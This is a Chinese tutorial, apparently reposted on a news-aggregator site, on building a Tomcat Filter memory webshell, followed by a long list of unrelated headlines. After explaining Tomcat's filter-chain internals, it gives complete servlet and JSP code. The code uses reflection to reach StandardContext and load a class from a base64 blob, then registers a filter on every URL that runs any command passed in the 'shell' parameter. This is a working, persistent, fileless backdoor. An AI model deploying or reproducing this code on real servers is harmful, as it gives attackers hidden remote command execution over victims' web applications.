tomcat Filter内存马-全球速讯
idea调试的时候加入源代码
org.apache.tomcat tomcat-catalina 8.5.81 provided
Servlet、Listener、Filter 由 javax.servlet.ServletContext
去加载,无论是使用 xml 配置文件还是使用 Annotation 注解配置,均由 Web 容器进行初始化,读取其中的配置属性,然后向容器中进行注册。
Servlet 3.0 API 允许使 ServletContext 用动态进行注册,在 Web 容器初始化的时候(即建立ServletContext 对象的时候)进行动态注册。可以看到 ServletContext 提供了 add/create方法来实现动态注册的功能。
【资料图】
ServletContext它会为每个web程序都创建一个对应的ServletContext对象,它代表当前的web应用。 事实上SpringMVC封装的ApplicationContext 以及Struts2封装的ApplicationContext里面都是保存着原本的ServletContext。
作用:
Web应用范围内存取共享数据;访问web应用的静态资源;Servlet对象之间通过ServletContext对象来实现通讯。ServletContext跟StandardContext的关系
StandardContext
:
StandardContext
是Tomcat服务器中的一个组件,用于管理Web应用程序的上下文(Context)。它是javax.servlet.ServletContext
接口的实现类,提供了一些额外的功能和管理能力。StandardContext
负责加载和初始化Web应用程序的配置信息,包括Servlet、Filter、Listener等组件的注册和管理。它还提供了对Web应用程序的生命周期管理,例如启动、停止和重新加载等操作。ServletContext
:
ServletContext
是Java Servlet规范中的一个接口,表示Web应用程序的上下文。每个Web应用程序都有一个唯一的ServletContext
实例,用于在应用程序内共享信息和资源。ServletContext
提供了一些方法,用于获取Web应用程序的初始化参数、访问应用程序范围的属性、读取Web应用程序的配置信息等。它还提供了一些与Web容器交互的方法,例如获取请求调度器、获取资源的真实路径等。总结:StandardContext
是Tomcat服务器中用于管理Web应用程序的上下文的实现类,而ServletContext
是Java Servlet规范中定义的用于表示Web应用程序上下文的接口。它们的主要区别在于StandardContext
提供了更多的管理和生命周期控制功能,而ServletContext
则提供了访问应用程序范围的属性和配置信息的方法。
Tomcat 中有 4 类容器组件,从上至下依次是:
Engine,实现类为 org.apache.catalina.core.StandardEngineHost,实现类为 org.apache.catalina.core.StandardHostContext,实现类为 org.apache.catalina.core.StandardContextWrapper,实现类为 org.apache.catalina.core.StandardWrapperFilter 内存马Filter 我们称之为过滤器,是 Java 中最常见也最实用的技术之一,通常被用来处理静态 web 资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理,再交给 Servlet。
通常情况下,Filter 配置在配置文件和注解中,在其他代码中如果想要完成注册,主要有以下几种方式:
使用 ServletContext 的 addFilter/createFilter 方法注册;使用 ServletContextListener 的 contextInitialized 方法在服务器启动时注册(将会在 Listener 中进行描述);使用 ServletContainerInitializer 的 onStartup 方法在初始化时注册(非动态,后面会描述)。追溯Filter的doFilter:FilterDemo重写了doFilter,如何执行到FilterDemo的doFilter?
ApplicationFilterChain的doFilter被执行,执行了internalDoFilter;
filters[]是存放ApplicationFilterConfig的地方,包含filterDef和fitler对象,取出每个元组,赋值给filterConfig;
Filter filter = filterConfig.getFilter();
然后执行了filter.doFilter(request, response, this);
filters[]是在哪里赋值的呢?
在StandardWrapperValve的invoke中
ApplicationFilterChain filterChain =ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);然后执行了filterChain.doFilter。
看看createFilterChain里面做了什么?
在ApplicationFilterFactory的createFilterChain中
ApplicationFilterChain filterChain = null;
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();从StandardContext配置文件中获取filter,放入filterMaps
这里是根据前面获取的filterMaps循环来获取的
for (FilterMap filterMap : filterMaps) ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());filterChain.addFilter(filterConfig);
filterChain.addFilter(filterConfig),最后return filterChain。
在ApplicationFilterChain的addFilter中做了什么?filters[n++] = filterConfig;所以最终filters[]里面会有所有filter的filterConfig;
FilterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef 和Filter 对象等信息FilterDefs:存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息FilterMaps:存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和 对应的 URLPattern
fiterConfig的内容都是从context中得到,因此只要我们能控制context的内容就行了动态注册Filter经过上面的分析,我们可以总结出动态注册Filter的流程:
获取上下文对象StandardContext创建恶意Filter构造FilterDef封装filter创建filterMap,将路径与Filtername绑定,将其添加到filterMaps中使用FilterConfig封装filterDef,然后将其添加到filterConfigs中package com.example.webshellfilter;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.ApplicationContextFacade;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.tomcat.util.descriptor.web.FilterDef;import org.apache.tomcat.util.descriptor.web.FilterMap;import sun.misc.BASE64Decoder;import javax.servlet.Filter;import javax.servlet.ServletContext;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.HashMap;import java.util.List;@WebServlet(name = "filterServlet", value = "/filterServlet")public class FilterServletDemo extends HttpServlet { public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { try { //1、通过request获取ServletContext类 //通过request获取servletContext ServletContext servletContext = request.getServletContext(); //其实这里是ApplicationContextFacade的类 System.out.println(servletContext.getClass()); Field applicationContextFacadefield = servletContext.getClass().getDeclaredField("context"); applicationContextFacadefield.setAccessible(true); //获取servletContext对象中的context的值,因为是ApplicationContextFacade所以获取到的context是ApplicationContext ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadefield.get(servletContext); //通过applicationContext对象获取StandardContext Field standardContextfield = applicationContext.getClass().getDeclaredField("context"); standardContextfield.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextfield.get(applicationContext); //将Filter对象通过反射实现加载 ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); //2、在Java中,可以使用defineClass方法将一个类动态地注入到当前的JVM中,这里将filter类注入进去 Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); BASE64Decoder base64Decoder = new BASE64Decoder(); byte[] code = base64Decoder.decodeBuffer("yv66vgAAADQAWg...."); defineClass.invoke(classLoader,code, 0, code.length); //3、添加filterDef System.out.println(Class.forName("FilterDemo").getName()); Filter filterDemo = (Filter) Class.forName("FilterDemo").newInstance(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(filterDemo); filterDef.setFilterName("FilterDemo"); standardContext.addFilterDef(filterDef); //4、添加filterMap FilterMap filterMap = new FilterMap(); filterMap.setFilterName("FilterDemo"); filterMap.addURLPattern("/*"); standardContext.addFilterMap(filterMap); //添加到standardContext的filterConfigs中 //反射获取filterConfigs //由于ApplicationFilterConfig经Final修饰,且构造方法为静态方法,无法通过new实例化,需通过反射获取ApplicationFilterConfig构造方法并实例化后添加入filterConfigs Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true); HashMap hashMap = (HashMap) filterConfigs.get(standardContext); Constructor> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructors()[0]; declaredConstructor.setAccessible(true); hashMap.put("FilterDemo",declaredConstructor.newInstance(standardContext,filterDef)); PrintWriter out = response.getWriter(); out.println("over"); } catch (Exception e) { throw new RuntimeException(e); } }}
jsp实现
<%@ page language="java" %><%@ page import="javax.servlet.http.HttpServletRequest" %><%@ page import="javax.servlet.http.HttpServletResponse" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.lang.reflect.Method" %><%@ page import="sun.misc.BASE64Decoder" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%@ page import="java.util.HashMap" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="java.io.IOException" %> Get Request Object in JSP Get Request Object in JSP
<% class FilterDemo implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("初始加完成"); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { servletRequest.setCharacterEncoding("utf-8"); servletResponse.setCharacterEncoding("utf-8"); servletResponse.setContentType("text/html;charset=UTF-8"); System.out.println(servletRequest.getParameter("shell")); Runtime.getRuntime().exec(servletRequest.getParameter("shell")); System.out.println("过滤中。。。"); filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { System.out.println("过滤结束"); } } //1、通过request获取ServletContext类 //通过request获取servletContext ServletContext servletContext = request.getServletContext(); //其实这里是ApplicationContextFacade的类 System.out.println(servletContext.getClass()); Field applicationContextFacadefield = servletContext.getClass().getDeclaredField("context"); applicationContextFacadefield.setAccessible(true); //获取servletContext对象中的context的值,因为是ApplicationContextFacade所以获取到的context是ApplicationContext ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadefield.get(servletContext); //通过applicationContext对象获取StandardContext Field standardContextfield = applicationContext.getClass().getDeclaredField("context"); standardContextfield.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextfield.get(applicationContext); //3、添加filterDef FilterDemo filterDemo = new FilterDemo(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(filterDemo); filterDef.setFilterName("FilterDemo"); filterDef.setFilterClass(filterDemo.getClass().getName()); standardContext.addFilterDef(filterDef); //4、添加filterMap FilterMap filterMap = new FilterMap(); filterMap.setFilterName("FilterDemo"); filterMap.addURLPattern("/*"); standardContext.addFilterMap(filterMap); //添加到standardContext的filterConfigs中 //反射获取filterConfigs //由于ApplicationFilterConfig经Final修饰,且构造方法为静态方法,无法通过new实例化,需通过反射获取ApplicationFilterConfig构造方法并实例化后添加入filterConfigs Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true); HashMap hashMap = (HashMap) filterConfigs.get(standardContext); Constructor> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructors()[0]; declaredConstructor.setAccessible(true); hashMap.put("FilterDemo",declaredConstructor.newInstance(standardContext,filterDef)); System.out.println("over");%>
标签:
- tomcat Filter内存马-全球速讯
- 踢得明白!记者:利雅得新月3年6亿欧报价内马尔 球员持开放态度
- 甘李药业(603087):7月4日北向资金减持6.1万股|热文
- 《塞尔达》系列制作人:我们的创意从未受到限制 时讯
- 无锡高架桥侧翻事故原因竟然是这个,生死只在刹那间,请不要....|世界今日讯
- 宜兴市必清水处理剂有限公司_环球视讯
- 死亡笔记一共多少集啊_死亡笔记一共多少集|天天消息
- 环球今热点:安全投入保障管理制度图片_安全投入保障制度
- 繁花 金宇澄(金宇澄繁花txt下载)
- 都兰县:党建引领激发新业态新就业群体活力
- 随州组团赴澳门进行文旅推介 天天播报
- 【天天热闻】电投产融(000958.SZ)拟10股派0.6元 于7月11日除权除息
- d挡的时候熄火怎么办(d挡直接熄火的后果是什么?)
- 111个!教育部公布首批国家级职业教育教师教学创新团队名单
- 天天热讯:江苏无锡:解锁景区反诈流量密码,构建“无诈景区”宣防新生态
- 焦点热议:上班三天被辞退有工资吗(二十不惑上班被辞退哪一集)
- 2023年中国自动驾驶行业商业化发展研究报告|时讯
- 吃完荔枝,头晕抽搐?警惕“荔枝病”→ 快播
- 信息:数字工厂建设 到底该如何发力?
- 杨澜方回应百万财产冻结传闻:商业纠纷,尚未审理 今日快看
- 厦门市“双减”后首批非学科类校外培训机构白名单公布
- cad角度小数点后面精度_cad角度精确到小数点_当前资讯
- 保姆犬照顾宝宝 宠物保姆帮忙喂食
- 白燕妮吕新67章节目录_女警察的沉沦之白燕妮
- 不用网线的无线路由器_一根网线怎么连接两个无线路由器
- 光的反射定律概念_光的反射定律是什么
- 钢材型号规格大全_这么实用的钢材知识
- 环球热点!杨澜方回应数百万财产被冻结:商业纠纷尚未审理
- 安徽今年第三批重大项目集中开工 天天时讯
- 招商轮船将推出全生态版“丝路云链”,推动航运业数字化升级 全球观天下
- 中国驻日本大使馆阐述中方立场! 天天速递
- 今日快看!报告:6月近九成中国新房找房者为改善性购房群体
- 环球实时:3年1.3亿美金!4年8000万美金!再见哈登,火箭在下一盘大棋
- 重庆再次拉响地灾红色警报,渝东北地区注意防范-速递
- 航母板块7月4日跌0.73%,中船科技领跌,主力资金净流出16.85亿元
- 折叠屏板块7月4日涨0.89%,欧菲光领涨,主力资金净流入8947.1万元_焦点资讯
- 全球观焦点:知情人士称,英国央行正在研究一项有争议的计划,以迫使更多国际银行在英国设立子公司
- 全球球精选!部分地区中小学学位预警 如何保障“就近上”“上好学”
- 读书方法有哪些5种简短_读书方法
- 特朗普第三场辩论完整(美总统终场辩论将静音麦克风) 视点
- 曲面屏幕手机容易碎 曲面屏幕手机
- 环球今头条!360购房合同备案_360房产网合同备案查询
- 世界今日报丨核桃高效栽培技术_关于核桃高效栽培技术概略
- 苹果手机隔空投送怎么用(办卡送的苹果13怎么样)
- 淘宝的苹果11pro(iPhone11Pro在淘宝上买可以吗比官网便宜911元) 世界看点
- 苏州最大的小米之家在哪里
- 全球速读:美国6月ISM制造业PMI连续第8个月萎缩,美盘休市做个复盘
- 上海生物试剂进口报检报关代理|世界看点
- 当前聚焦:如何在家做倒膜_做倒膜的步骤
- 在网上发货款被骗了怎么办
- 全球快资讯丨郝蕾红毯近照曝光 42岁郝蕾颜值回归巅峰
- 广东省的区号是什么是多少_广东省的区号是什么_全球速读
- 婴儿具有个体自我意识发展的时期是(婴儿具有个体自我意识发展)
- 前列症肥大是什么意思_前列腺肥大又称前列腺增生_今日热讯
- 惊马槽录音mp3_惊马槽
- 支付宝钱安全不(支付宝钱包安全吗)|世界观速讯
- 中国中药(00570.HK):7月4日南向资金增持102.2万股
- 7月4日基金净值:人保双利A最新净值1.202,涨0.02%
- 参天大树前人栽是什么意思 参天大树前人栽是什么生肖
- 公认最伤感的英文歌曲(世界上最伤感的英文歌曲MV
- 华理本科网络教学平台_华理继续教育学院官网
- 焦点讯息:陕西二建成绩查询2021_陕西二建成绩查询
- 小新开机后屏幕黑屏是怎么回事_小新开超市_当前热门
- 提前锁定半程冠军!海港夺冠可能性超80%,仅3队此前出现意外
- 核桃葡萄干乳酪卷_关于核桃葡萄干乳酪卷概略_速看
- 全球快看:怎么给手机图片加密隐藏(怎么给手机图片加密)
- 每日速讯:中国科协发布“十不准” 规范严把院士推选“入口关”
- 挂耳咖啡手冲升级,5步骤完美风味! 全球快资讯
- 全球报道:体图:若有约3000万欧的报价到来,多特可以考虑今夏出售穆科科
- 质胜文则野_质胜文则野文胜质则史文质彬彬然后君子|世界热资讯
- token错误怎么解决_token失效是什么意思-天天滚动
- 当前动态:中国移动路由器怎么改密码wifi名称密码_中国移动路由器怎么改密码
- 天天热讯:无懈可击之高手如林电视剧剧情_主演有谁
- 泰姬陵的故事是真的吗_泰姬陵的故事
- 基本工资和固定津贴_固定工资和基本工资的区别
- 7月4日基金净值:交银臻选回报混合A最新净值1.077,跌0.05%
- 通信板块集体拉升 看好行业估值提升
- 突发!山东曲阜市公安局一网格辅警,涉嫌杀害两姐妹,内幕曝出! 全球热点
- 最新:调阅考生档案比例是什么意思_考生档案目前未投出是什么意思
- 富鹏社区(关于富鹏社区介绍) 世界快看
- 520安徽文旅惠民消费季|2023年暑期宿州市博物馆奇妙夜精彩来袭!
- 萧亚轩前任回应结婚传闻:谢谢大家关心 今日关注
- 鸭肉怎么做才好吃?_世界看热讯
- 运球转身的动作方法_运球转身的动作要领
- 奥利维亚巴勒莫穿衣搭配 巴勒莫现身街头
- 窈窕淑女 电影资源(窈窕淑女电影高清百度云)
- 方晓光_关于方晓光简介_天天通讯
- 天天微资讯!私房催奶师小说小玲姐在线阅读_私房催奶师小说小玲姐
- 天天通讯!天宫赐福墨香铜臭txt
- 来到新学校的感受作文400_来到新学校的感受
- 绿城2023年上半年累计交付107个项目 代建板块占56个
- 快看点丨首届中华戏曲精品邀请展完美收官
- 全球观天下!2023温网:中国金花张帅不敌20号种子维基奇,止步首轮
- 视频|应急队员摇身变rapper 他们为科普安全知识花尽了心思
- 外交部副部长孙卫东同韩国外交部次官补崔泳杉举行磋商-世界短讯
- 环球速读:西安市碑林区拉拉手特殊教育助学中心
- T-Mobile放弃出售三星GalaxyFold的计划
- 热头条丨宜兴城北小学
- 宜兴公交117路
- 离婚时那些不属于共同债务